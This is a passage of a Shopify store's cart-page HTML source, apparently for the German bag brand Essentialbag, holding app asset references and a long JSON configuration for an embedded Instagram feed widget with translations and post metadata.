13547<div id="bogos-bundle-page-script" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bundle-page.min.js"></div>
13548<div id="bogos-booster-script" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/booster.min.js"></div>
13549<div id="bogos-booster-page-script" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/booster-page.min.js"></div>
13550
13551
13552<div id="bogos-bundle-style" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.bundle.min.css"></div>
13553<div id="bogos-upsell-style" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.upsell.min.css"></div>
13554<div id="bogos-discount-style" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.discount.min.css"></div>
13555<div id="bogos-bundle-page-style" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.bundle-page.min.css"></div>
13556<div id="bogos-booster-style" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.booster.min.css"></div>
13557<div id="bogos-booster-page-style" data-url="https://cdn.shopify.com/extensions/01a11ea5-2a05-78bf-b064-d20e3a7574ae/freegifts-236/assets/bogos.booster-page.min.css"></div>
13558<!-- END app snippet -->
13559
13560
13561<!-- BEGIN app snippet: search -->
13562
13563<!-- END app snippet -->
13564
13565
13566
13567</div><div id="shopify-block-AMHl1a3paRDdrOUt2a__7709396684840320309" class="shopify-block shopify-app-block"><!-- BEGIN app snippet: social-widget-variable -->
13567<script type=text/javascript>
13568  
13569
13570  window.__SW_OBJECT__ = window.__SW_OBJECT__ ?? {
13571    shop_id : "RrEACSRnFFdmXQ",
13572    is_design_mode: false,
13573    locale: "en",
13574    page_type: "cart",
13575    product_id : "",
13576    template_id: "cart"
13577  };
13578  
13579  
13580    window.__SW_DATA = window.__SW_DATA || {"widget":{"desktop":[{"widget":"{\"status\":true,\"pricing_plan\":\"Basic\",\"widget_id\":\"e4a067a9-4a69-11ef-ac30-c60d6691c167\",\"settings\":{\"install_type\":\"auto\",\"page_name\":\"Home page\",\"page_custom_element\":\"\",\"page_custom_position\":\"\",\"layout_background_type\":\"color\",\"template_id\":4,\"display_layout\":\"slider\",\"item_no_of_rows\":10,\"item_no_of_columns\":5,\"is_show_pagination\":false,\"is_show_arrow\":false,\"is_enable_max_width\":false,\"is_enable_load_more_btn\":true,\"load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eShow more\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"is_enable_heading_title\":true,\"heading_title\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eFollow Us on Instagram\u003c\/span\u003e\u003c\/p\u003e\",\"is_enable_heading_description\":true,\"heading_description\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 14px\\\"\u003eFollow us so you'll never miss an update\u003c\/span\u003e\u003c\/p\u003e\",\"is_enable_item_hover_effect\":true,\"item_no_of_slider\":5,\"item_no_of_photo\":10,\"auto_play_slider\":true,\"auto_play_duration\":3,\"is_enable_item_caption\":true,\"is_enable_item_likes_count\":false,\"is_enable_item_date\":true,\"on_image_click\":\"popup\",\"on_image_click_target_link\":\"_self\",\"is_enable_popup_user_profile\":true,\"is_enable_popup_follow_btn\":true,\"popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"is_enable_popup_caption\":true,\"is_enable_popup_likes_count\":false,\"is_enable_popup_comments_count\":false,\"is_enable_popup_date\":true,\"display_product_item\":\"vertical\",\"cta_btn_link\":\"_self\",\"var_css\":{\"--sw-layout-margin-top\":\"0px\",\"--sw-layout-margin-bottom\":\"0px\",\"--sw-layout-padding-top\":\"0px\",\"--sw-layout-padding-bottom\":\"0px\",\"--sw-layout-padding-left\":\"0px\",\"--sw-layout-padding-right\":\"0px\",\"--sw-layout-max-width\":\"1200px\",\"--sw-layout-background-color\":\"rgba(255, 255, 255, 1)\",\"--sw-layout-background-image\":\"\",\"--sw-layout-background-size\":\"cover\",\"--sw-layout-background-repeat\":\"no\",\"--sw-layout-background-position-x\":\"center\",\"--sw-layout-background-position-y\":\"middle\",\"--sw-load-more-btn-font-size\":\"18px\",\"--sw-load-more-btn-background-color\":\"#FFFFFF\",\"--sw-load-more-btn-align\":\"center\",\"--sw-load-more-btn-font-weight\"
13580:\"normal\",\"--sw-load-more-btn-color\":\"#000000\",\"--sw-heading-title-font-size\":\"18px\",\"--sw-heading-title-text-align\":\"center\",\"--sw-heading-title-font-weight\":\"normal\",\"--sw-heading-title-color\":\"#000000\",\"--sw-heading-description-font-size\":\"14px\",\"--sw-heading-description-text-align\":\"center\",\"--sw-heading-description-font-weight\":\"normal\",\"--sw-heading-description-color\":\"#000000\",\"--sw-item-border-radius\":\"3px\",\"--sw-item-gutter\":\"2px\",\"--sw-popup-follow-btn-background-color\":\"#252627\",\"--sw-popup-follow-btn-color\":\"#000000\",\"--sw-popup-follow-btn-text-align\":\"center\",\"--sw-popup-follow-btn-font-size\":\"15px\",\"--sw-popup-follow-btn-font-weight\":\"normal\",\"--sw-hotspot-color\":\"#FFFFFF\",\"--sw-hotspot-hover-color\":\"#252627\",\"--sw-cta-btn-color\":\"#252627\",\"--sw-cta-btn-text-color\":\"#FFFFFF\",\"--sw-hover-font-weight\":\"normal\",\"--sw-hover-text-align\":\"center\",\"--sw-hover-font-size\":\"15px\",\"--sw-hover-color\":\"#ffffff\",\"--sw-hover-background-color\":\"rgba(37, 38, 39, 0.6)\",\"--sw-layout-background-size-custom-width\":100,\"--sw-layout-background-size-custom-height\":100,\"--sw-layout-pagination-color\":\"#A7A7A7\",\"--sw-layout-arrow-color\":\"#A7A7A7\",\"--sw-layout-background-size-local\":\"cover\"},\"mobile_template_id\":4,\"mobile_display_layout\":\"slider\",\"mobile_item_no_of_rows\":10,\"mobile_item_no_of_columns\":5,\"mobile_is_show_pagination\":false,\"mobile_is_show_arrow\":false,\"mobile_is_enable_load_more_btn\":true,\"mobile_load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eShow more\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_is_enable_max_width\":false,\"mobile_layout_background_type\":\"color\",\"mobile_is_enable_heading_title\":true,\"mobile_heading_title\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eFollow Us on Instagram\u003c\/span\u003e\u003c\/p\u003e\",\"mobile_is_enable_heading_description\":true,\"mobile_heading_description\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 14px\\\"\u003eFollow us so you'll never miss an update\u003c\/span\u003e\u003c\/p\u003e\",\"mobile_is_enable_item_hover_effect\":true,\"mobile_item_no_of_slider\":2,\"mobile_auto_play_slider\":true,\"mobile_auto_play_duration\":3,\"mobile_is_enable_item_caption\":true,\"mobile_is_enable_item_likes_count\":false,\"mobile_is_enable_item_comments_count\":false,\"mobile_is_enable_item_date\":true,\"mobile_on_image_click\":\"popup\",\"mobile_on_image_click_target_link\":\"_self\",\"mobile_is_enable_popup_user_profile\":true,\"mobile_is_enable_popup_follow_btn\":true,\"mobile_popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_is_enable_popup_caption\":true,\"mobile_is_enable_popup_likes_count\":false,\"mobile_is_enable_popup_comments_count\":false,\"mobile_is_enable_popup_date\":true,\"mobile_display_product_item\":\"vertical\",\"mobile_cta_btn_link\":\"_self\",\"mobile_var_css\":{\"--sw-layout-margin-top\":\"0px\",\"--sw-layout-margin-bottom\":\"0px\",\"--sw-layout-padding-top\":\"0px\",\"--sw-layout-padding-bottom\":\"0px\",\"--sw-layout-padding-left\":\"0px\",\"--sw-layout-padding-right\":\"0px\",\"--sw-layout-max-width\":\"1200px\",\"--sw-layout-background-color\":\"rgba(255, 255, 255, 1)\",\"--sw-layout-background-image\":\"\",\"--sw-layout-background-size\":\"cover\",\"--sw-layout-background-repeat\":\"no\",\"--sw-layout-background-position-x\":\"center\",\"--sw-layout-background-position-y\":\"middle\",\"--sw-load-more-btn-font-size\":\"18px\",\"--sw-load-more-btn-background-color\":\"#FFFFFF\",\"--sw-load-more-btn-align\":\"center\",\"--sw-load-more-btn-font-weight\"
13580:\"normal\",\"--sw-load-more-btn-color\":\"#000000\",\"--sw-heading-title-font-size\":\"18px\",\"--sw-heading-title-text-align\":\"center\",\"--sw-heading-title-font-weight\":\"normal\",\"--sw-heading-title-color\":\"#000000\",\"--sw-heading-description-font-size\":\"14px\",\"--sw-heading-description-text-align\":\"center\",\"--sw-heading-description-font-weight\":\"normal\",\"--sw-heading-description-color\":\"#000000\",\"--sw-item-border-radius\":\"3px\",\"--sw-item-gutter\":\"1px\",\"--sw-popup-follow-btn-background-color\":\"#252627\",\"--sw-popup-follow-btn-color\":\"#000000\",\"--sw-popup-follow-btn-text-align\":\"center\",\"--sw-popup-follow-btn-font-size\":\"15px\",\"--sw-popup-follow-btn-font-weight\":\"normal\",\"--sw-hotspot-color\":\"#FFFFFF\",\"--sw-hotspot-hover-color\":\"#252627\",\"--sw-cta-btn-color\":\"#252627\",\"--sw-cta-btn-text-color\":\"#FFFFFF\",\"--sw-hover-font-weight\":\"normal\",\"--sw-hover-text-align\":\"center\",\"--sw-hover-font-size\":\"15px\",\"--sw-hover-color\":\"#ffffff\",\"--sw-hover-background-color\":\"rgba(37, 38, 39, 0.6)\",\"--sw-layout-background-size-custom-width\":100,\"--sw-layout-background-size-custom-height\":100,\"--sw-layout-pagination-color\":\"#A7A7A7\",\"--sw-layout-arrow-color\":\"#A7A7A7\",\"--sw-layout-background-size-local\":\"cover\"},\"popup_user_profile_click_target_link\":\"_self\",\"mobile_popup_user_profile_click_target_link\":\"_self\",\"mobile_item_no_of_photo\":10,\"is_enable_instagram_logo\":false,\"mobile_is_enable_instagram_logo\":false,\"heading_type\":\"basic\",\"heading_social_account_id\":\"\",\"mobile_heading_type\":\"basic\",\"mobile_heading_social_account_id\":\"\",\"is_enable_heading_follow_btn\":true,\"heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_is_enable_heading_follow_btn\":true,\"mobile_heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"is_show_item_cart\":true,\"mobile_is_show_item_cart\":true,\"hotspot_target_link\":\"_blank\",\"mobile_hotspot_target_link\":\"_blank\",\"is_enable_popup_view_on_instagram\":true,\"mobile_is_enable_popup_view_on_instagram\":true,\"popup_view_on_instagram_target_link\":\"_self\",\"mobile_popup_view_on_instagram_target_link\":\"_self\",\"is_enable_item_comments_count\":false,\"heading_social_account\":{\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"instagram_type\":\"InstagramBusiness\",\"username\":\"essentialbag.de\",\"name\":\"ESSENTIALBAG | SMART WALLET\",\"avatar\":\"https:\/\/scontent-ord5-1.xx.fbcdn.net\/v\/t51.2885-15\/409638800_711985794212222_7642044036386143955_n.jpg?_nc_cat=100\u0026ccb=1-7\u0026_nc_sid=7d201b\u0026_nc_ohc=zk1czt8sn00Q7kNvgFBUE41\u0026_nc_ht=scontent-ord5-1.xx\u0026edm=AGaHXAAEAAAA\u0026oh=00_AYDodIZZsB2EhAQEJPy1N_leETK2aSvvvIfzwYBeFP7KEA\u0026oe=66A803B3\",\"biography\":\"Accessoires, die deinen Alltag leichter machen 🚀\\nStart-up, Gründer @marvinmoik 🇩🇪\\nTeste uns risikofrei für 60 Tage ⬇️\",\"followers_count\":1050,\"follows_count\":1050,\"media_count\":118,\"gcs_avatar\":\"\"},\"mobile_heading_social_account\":{\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"instagram_type\":\"InstagramBusiness\",\"username\":\"essentialbag.de\",\"name\":\"ESSENTIALBAG | SMART WALLET\",\"avatar\":\"https:\/\/scontent-ord5-1.xx.fbcdn.net\/v\/t51.2885-15\/409638800_711985794212222_7642044036386143955_n.jpg?_nc_cat=100\u0026ccb=1-7\u0026_nc_sid=7d201b\u0026_nc_ohc=zk1czt8sn00Q7kNvgFBUE41\u0026_nc_ht=scontent-ord5-1.xx\u0026edm=AGaHXAAEAAAA\u0026oh=00_AYDodIZZsB2EhAQEJPy1N_leETK2aSvvvIfzwYBeFP7KEA\u0026oe=66A803B3\",\"biography\":\"Accessoires, die deinen Alltag leichter machen 🚀\\nStart-up, Gründer @marvinmoik 🇩🇪\\nTeste uns risikofrei für 60 Tage ⬇️\",\"followers_count\":1050,\"follows_count\":1050,\"media_count\":118,\"gcs_avatar\":\"\"},\"currency_symbol\":\"€\",\"currency_code\":\"EUR\"},\"translations\":{\"de\":{\"static\":{\"a_few_hours_ago\":\"Vor ein paar Stunden\",\"a_few_minutes_ago\":\"Vor ein paar Minuten\",\"add_product_success\":\"Produkt erfolgreich in Ihren Warenkorb gelegt\",\"april\":\"April\",\"august\":\"August\",\"comment\":\"Kommentar\",\"comments\":\"Bemerkungen\",\"december\":\"Dezember\",\"february\":\"Februar\",\"follower\":\"Anhänger\",\"followers\":\"Anhänger\",\"following\":\"Folge\",\"followings\":\"Folgen\",\"january\":\"Januar\",\"july\":\"Juli\",\"june\":\"Juni\",\"just_now\":\"Grade eben\",\"like\":\"Mögen\",\"likes\":\"Likes\",\"march\":\"Marsch\",\"may\":\"Kann\",\"november\":\"November\",\"october\":\"Oktober\",\"post\":\"Post\",\"posts\":\"Beiträge\",\"september\":\"September\",\"two_days_ago\":\"Vor 2 Tagen\",\"view_cart\":\"WARENKORB ANSEHEN\",\"view_on_instagram\":\"Auf Instagram anzeigen\",\"view_product\":\"Produkte anzeigen\",\"yesterday\":\"Gestern\"},\"dynamic\":{\"load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eZeig mehr\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFolgen\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFolgen\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"heading_title\":\"\u003cdiv style=\\\"border-radius: 0px;\\\"\u003e\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eInstagram\u003c\/span\u003e\u003c\/p\u003e\u003c\/div\u003e\",\"heading_description\":\"\u003cdiv style=\\\"border-radius: 0px;\\\"\u003e\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 12px\\\"\u003e@\u003c\/span\u003e\u003ca href=\\\"http:\/\/essentialbag.de\\\"\u003e\u003cspan style=\\\"font-size: 12px\\\"\u003eessentialbag.de\u003c\/span\u003e\u003c\/a\u003e\u003c\/p\u003e\u003c\/div\u003e\",\"mobile_load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eZeig mehr\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFolgen\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFolgen\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_heading_title\":\"\u003cdiv style=\\\"border-radius: 0px;\\\"\u003e\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eInstagram\u003c\/span\u003e\u003c\/p\u003e\u003c\/div\u003e\",\"mobile_heading_description\":\"\u003cdiv style=\\\"border-radius: 0px;\\\"\u003e\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 12px\\\"\[email protected]\u003c\/span\u003e\u003c\/p\u003e\u003c\/div\u003e\",\"cta_btn_text_detail_self\":\"DETAIL\",\"cta_btn_text_detail_blank\":\"DETAIL\",\"cta_btn_text_checkout\":\"KAUFEN\",\"cta_btn_text_add_to_cart\":\"WAGEN\",\"mobile_cta_btn_text_detail_self\":\"DETAIL\",\"mobile_cta_btn_text_detail_blank\":\"DETAIL\",\"mobile_cta_btn_text_checkout\":\"KAUFEN\",\"mobile_cta_btn_text_add_to_cart\":\"WAGEN\"}},\"en\":{\"static\":{\"a_few_hours_ago\":\"A few hours ago\",\"a_few_minutes_ago\":\"A few minutes ago\",\"add_product_success\":\"Product successfully added to your cart\",\"april\":\"April\",\"august\":\"August\",\"comment\":\"Comment\",\"comments\":\"Comments\",\"december\":\"December\",\"february\":\"February\",\"follower\":\"Follower\",\"followers\":\"Followers\",\"following\":\"Following\",\"followings\":\"Followings\",\"january\":\"January\",\"july\":\"July\",\"june\":\"June\",\"just_now\":\"Just now\",\"like\":\"Like\",\"likes\":\"Likes\",\"march\":\"March\",\"may\":\"May\",\"november\":\"November\",\"october\":\"October\",\"post\":\"Post\",\"posts\":\"Posts\",\"september\":\"September\",\"two_days_ago\":\"2 days ago\",\"view_cart\":\"VIEW CART\",\"view_on_instagram\":\"View on Instagram\",\"view_product\":\"View products\",\"yesterday\":\"Yesterday\"},\"dynamic\":{\"load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eShow more\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"heading_title\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eFollow Us on Instagram\u003c\/span\u003e\u003c\/p\u003e\",\"heading_description\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 14px\\\"\u003eFollow us so you'll never miss an update\u003c\/span\u003e\u003c\/p\u003e\",\"mobile_load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eShow more\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_heading_title\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eFollow Us on Instagram\u003c\/span\u003e\u003c\/p\u003e\",\"mobile_heading_description\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 14px\\\"\u003eFollow us so you'll never miss an update\u003c\/span\u003e\u003c\/p\u003e\",\"cta_btn_text_detail_self\":\"VIEW DETAIL\",\"cta_btn_text_detail_blank\":\"VIEW DETAIL\",\"cta_btn_text_checkout\":\"BUY IT NOW\",\"cta_btn_text_add_to_cart\":\"ADD TO CART\",\"mobile_cta_btn_text_detail_self\":\"VIEW DETAIL\",\"mobile_cta_btn_text_detail_blank\":\"VIEW DETAIL\",\"mobile_cta_btn_text_checkout\":\"BUY IT NOW\",\"mobile_cta_btn_text_add_to_cart\":\"ADD TO CART\"}}},\"widget_type\":\"Instagram\",\"media_list\":[{\"media_id\":\"8402a6a7-4a69-11ef-bfa1-0e616472e6d0\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.i
13580o\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/8402a6a7-4a69-11ef-bfa1-0e616472e6d0\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/8402a6a7-4a69-11ef-bfa1-0e616472e6d0\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/C8pPOO_slBN\/\",\"caption\":\"Die Geschichte hinter Essentialbag #startup\",\"comment_count\":0,\"like_count\":23,\"timestamp\":\"2024-06-25T15:52:28Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"768a7c34-1754-11f1-88dc-4e7ad7a0e9e8\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/768a7c34-1754-11f1-88dc-4e7ad7a0e9e8\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/768a7c34-1754-11f1-88dc-4e7ad7a0e9e8\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DVa7PA9iAnI\/\",\"caption\":\"Office Tag bei Essentialbag 👨‍💼💼\\n\\nHeute steht viel an bei uns:\\n✅ neue Produktaufnahmen \\n✅ Teammeetings\\n✅ Kundensupport Optimierung\\n✅ Teamessen\\n\\nUnd vieles mehr ☺️🤝\\nWir geben täglich unser bestes für euch! ❤️\\n\\n#startup #smartwallet #essentialbag #viral\",\"comment_count\":13,\"like_count\":36,\"timestamp\":\"2026-03-03T11:35:23Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"a94aead7-1685-11f1-a986-82517a154540\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/a94aead7-1685-11f1-a986-82517a154540\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/a94aead7-1685-11f1-a986-82517a154540\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DVY0qxbiIuc\/\",\"caption\":\"Er hat jahrelang nach der richtigen Tasche gesucht, bis er sie einfach selber entwickelt hat 🥹❤️\\n\\n#slingbag #selfmade #essentialbag #viral\",\"comment_count\":3,\"like_count\":14,\"timestamp\":\"2026-03-02T15:57:13Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"06eccba0-0f40-11f1-bd56-7a153c193c68\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/06eccba0-0f40-11f1-bd56-7a153c193c68\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/06eccba0-0f40-11f1-bd56-7a153c193c68\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DVBdF-ZiMGG\/\",\"caption\":\"🍊🧡 - Ist wieder da! \\n\\n#smartwallet #viral #drop\",\"comment_count\":8,\"like_count\":13,\"timestamp\":\"2026-02-21T14:07:33Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"38ee5d1e-0e71-11f1-8c90-7a153c193c68\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/38ee5d1e-0e71-11f1-8c90-7a153c193c68\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/38ee5d1e-0e71-11f1-8c90-7a153c193c68\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DU-cz58CMuL\/\",\"caption\":\"🍊🧡 - Ist wieder da! \\n\\n#smartwallet #viral #drop\",\"comment_count\":5,\"like_count\":7,\"timestamp\":\"2026-02-20T10:08:20Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"5004beae-0998-11f1-9ebf-ee075eeb55c9\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.i
